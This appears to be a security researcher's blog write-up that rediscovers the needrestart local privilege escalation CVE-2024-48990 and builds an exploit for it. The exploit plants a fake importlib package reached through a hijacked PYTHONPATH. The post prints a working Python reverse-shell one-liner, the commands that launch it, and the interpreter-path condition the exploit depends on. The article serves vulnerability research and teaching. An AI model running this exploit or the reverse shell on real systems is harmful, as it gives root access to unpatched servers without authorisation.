Ubuntu logo

Introduction

On November 19th, 2024, Qualys publicly disclosed five local privilege escalation vulnerabilities discovered in the needrestart binary that comes installed by default on Ubuntu Server installations. They disclose the technical details of these here, however, I will be attempting to rediscover CVE-2024-48990 prior to reading the technical details based purely on the information from the CVE description and references. Then, I will create my own exploit that gives me a reverse shell as root.

I have never used needrestart and I have very little familiarity with Perl, so I am going in blind. Let’s find an N-day!

TL;DR: I was able to set PYTHONPATH to a location where I created a fake importlib implementation that triggered a reverse shell as root via library path hijacking. The exploit files can be found on my Github.

Becoming Familiar with needrestart

I will begin by cloning the needrestart repository and getting a high-level overview of what it does.

git clone https://github.com/liske/needrestart

A glance at the README reveals the purpose of needrestart:

needrestart checks which daemons need to be restarted after library upgrades.

It seems that needrestart is invoked by package managers via hook scripts in /ex after library upgrades. Of course, package managers like apt are typically executed with root privileges, which makes needrestart a target for Local Privilege Escalation (LPE) vulnerabilities.

I installed needrestart from the Ubuntu repositories to interact with it directly.

$ sudo apt install needrestart
$ needrestart --version

needrestart 3.6 - Restart daemons after library updates.
-- snip --

Since this is version 3.6 and the patch was introduced in version 3.8, this needrestart installation is vulnerable.

Tracking Down CVE-2024-48990

The description of this CVE is the following:

Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.

Additionally, a patch on the file perl/lib/NeedRestart/Interp/Python.pm is linked in the CVE references section with the commit message “interp: do not set PYTHONPATH environment variable to prevent a LPE”. These are very substantial hints.

The patched file is in the NeedRestart::Interp::Python module. This module was specified in the README as a part of the needrestart interpreter scanning feature, which searches for outdated source code files in Python, Ruby, Perl, and Java.

PYTHONPATH explained

According to the official Python documentation, PYTHONPATH defines the default search path for module files that are imported. In fact, I have used PYTHONPATH within CTF competitions to execute my own user-controlled Python code with executed privileges via library path hijacking.

PYTHONPATH Assignment in needrestart

Let’s look at how PYTHONPATH is being set within needrestart. I will checkout to a vulnerable version of the source code to look further.

git checkout tags/v3.6

I used the search functionality to locate where PYTHONPATH is being set within the files() subroutine.

The nr_parse_env() subroutine above is defined in perl/lib/NeedRestart/Utils.pm and reads the /proc/<pid>/environ file of the Python process that it is checking and returns an array of the environment variables used by that process.

sub nr_parse_env($) {
    my $pid = shift;

    my $fh;
    open($fh, '<', "/proc/$pid/environ") || return (); # read environment variables from environ file
    local $/ = "\000";
    my @env = <$fh>;
    chomp(@env);
    close($fh);

    return map { (/^([^=]+)=(.*)$/ ? ($1, $2) : ()) } @env;
}

Scrolling to lines 202-207 of perl/lib/NeedRestart/Interp/Python.pm sheds some insight into the Python code that is executed after the PYTHONPATH environment variable is set.

    # get include path
    my ($pyread, $pywrite) = nr_fork_pipe2($self->{debug}, $ptable->{exec}, '-'); # Equivalent to `python -` on the CLI
    print $pywrite "import sys\nprint(sys.path)\n"; # This code is passed into Python's stdin
    close($pywrite);
    my ($path) = <$pyread>;
    close($pyread);

At a high level, this is a breakdown of the most relevant steps from the code shared so far:

  1. The files() subroutine of the Python interpreter checker is called with the PID of a Python process as the argument.
  2. The environment variables associated with that process are parsed.
    • If a PYTHONPATH environment variable is found, $ENV is set to contain that value.
  3. A forked process of Python is being launched where the code import sys\nprint(sys.path)\n is being executed.

The %ENV Variable

As stated in the Perl documentation, “Perl maintains environment variables in a special hash named %ENV”.

Even though %ENV is not explicitly passed as a parameter to the child Python process that is being created by needrestart, Perl will still carry over those values behind the scenes, which is why the value of %ENV is significant.

Seed of an Attack Idea

A potential attack strategy is forming: launch a Python process with the PYTHONPATH set to an attacker-controlled directory and perform a library path hijacking attack to execute arbitrary Python code.

Before we can create a proof-of-concept for this idea, however, we must first verify that we can do the following:

  • Trigger the Python interpreter scan to check an attacker-controlled process.
  • Identify a Python library that can be hijacked.
    • The imported module sys is built-in to Python and does not rely on an external module path. Since Python does not search through external files in the search path for sys, we will have to be more creative with our approach.

Triggering the Python Interpreter Check

As previously mentioned, needrestart supports interpreter checks on Python, Ruby, Perl, and Java programs. These interpreter checks are iteratively invoked by the needrestart_interp_check() subroutine on a given process in perl/lib/NeedRestart.pm.

sub needrestart_interp_check($$$$$) {
    my $debug = shift;
    my $pid = shift;
    -- snip --
    foreach my $interp (values %Interps) { # iterate through Python, Ruby, Perl, and Java interpreter checkers
	if($interp->isa($pid, $bin)) { # check that argv[0] of the process is supported by the current interpreter checker
    -- snip --
	    my %files = $interp->files($pid, \%InterpCache); # call the vulnerable files() subroutine on the process
    -- snip --
	}
    }

In turn, needrestart_interp_check() is called in line 584 by the main /needrestart Perl script when $restart is false and interpscan is not disabled by the configuration.

	unless($restart || !$nrconf{interpscan}) {
	    $restart++ if(needrestart_interp_check($nrconf{verbosity} > 1, $pid, $exe, $nrconf{blacklist_interp}, $opt_t));
	}

Luckily, $nrconf{interpscan} is enabled by default.

<code>$nrconf{interpscan}</code> being set to 0

Another factor to consider is the PID that is being passed to needrestart_interp_check() since that corresponds with the process that the PYTHONPATH environment variable is being read from. Searching for the value of $pid in /needrestart reveals that the program iterates through a list of PIDs stored in $ptable.

    my $ptable = nr_ptable();
    -- snip --
    for my $pid (sort {$a <=> $b} keys %$ptable) {

The $ptable hash is populated with a list of all process objects accessible to the user executing needrestart.

my %ptable;
{
    local $SIG{__WARN__} = sub {};
    %ptable = map {$_->pid => $_} @{ new Proc::ProcessTable(enable_ttys => 1)->table };
}

sub nr_ptable() {
    return \%ptable;
}

This verifies that we will be able to invoke needrestart_interp_check() with the PID of our malicious process since all of the processes are iterated through.

Exploit Development

Flushing out the Plan

Since I couldn’t do library path hijacking with the built-in sys module, I thought about other options that I could target within the short Python snippet import sys\nprint(sys.path) that is executed in Python.pm.

There are two other notable tokens aside from sys: print and import. I decided to read more about how import in the official documentation. In particular, this snippet from the docs stood out to me:

importlib.import_module() is provided to support applications that determine dynamically the modules to be loaded.

It seems that using the import statement in python can trigger the importlib module. I used the find command to verify that importlib is indeed a dynamically loaded library rather than a Python built-in like sys.

$ find / -name importlib 2>/dev/null
/usr/lib/python3.12/importlib

Maybe we can take advantage of importlib being dynamically loaded along with the fact that the contents of __init__.py are automatically executed when a module is loaded. I created a directory in /tmp/needrestart with the following structure:

./importlib
./importlib/__init__.py
./main.py

The contents of main.py are below.

$ main.py
import sys

In ./importlib/__init__.py, I write Python code that will create a hacked.txt file:

$ cat ./importlib/__init__.py
import os
os.system("touch hacked.txt")

Let’s put this idea to the test! I will export PYTHONPATH=/tmp/needrestart and manually replicate the python process that needrestart executes.

The <code>hacked.txt</code> file being created after importing <code>sys</code> with the modified <code>PYTHONPATH</code> value pointing to <code>/tmp/needrestart</code>

It works! Let’s see if we can port this attack directly to needrestart.

Launching the exploit

I modified main.py to be an infinite loop so that it continues running while needrestart is searching the process list. The purpose of this file is to simply trigger the Python interpreter scan with our desired PYTHONPATH value.

$ cat main.py
while True:
	pass

Let’s up the ante here and get a reverse shell as root.

$ cat importlib/__init__.py 
import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

I executed python3 ./main.py with our malicious PYTHONPATH variable.

$ export PYTHONPATH=/tmp/needrestart
$ python3 ./main.py

In a separate terminal, I verified that our process was showing up and the desired PYTHONPATH variable was set in the way that needrestart would read it.

$ ps ax | grep python3
 428477 pts/13   R+     0:03 python3 ./main.py
$ cat /proc/428477/environ | grep --text -oP 'PYTHONPATH[^\x00]*' # verify our environment variable shows up
PYTHONPATH=/tmp/needrestart

Note: Make sure that the python3 binary that you are running is located at a path that follows this regex pattern for needrestart to recognize it as a valid Python program: ^/usr/(local/)?bin/python([23][.\d]*)?$.

Now, I will test the exploit by setting up a nc listener and attempting to install curl using apt!

It worked! We have successfully identified and exploited the n-day, CVE-2024-48990. In a real-world environment, it is likely that a system administrator or cron job would periodically perform library upgrades on the vulnerable server through a package manager. The package manager, with elevated privileges, would launch needrestart, which ends up scanning our attacker-controlled process and ultimately executing our desired Python code as root.

Thanks for reading!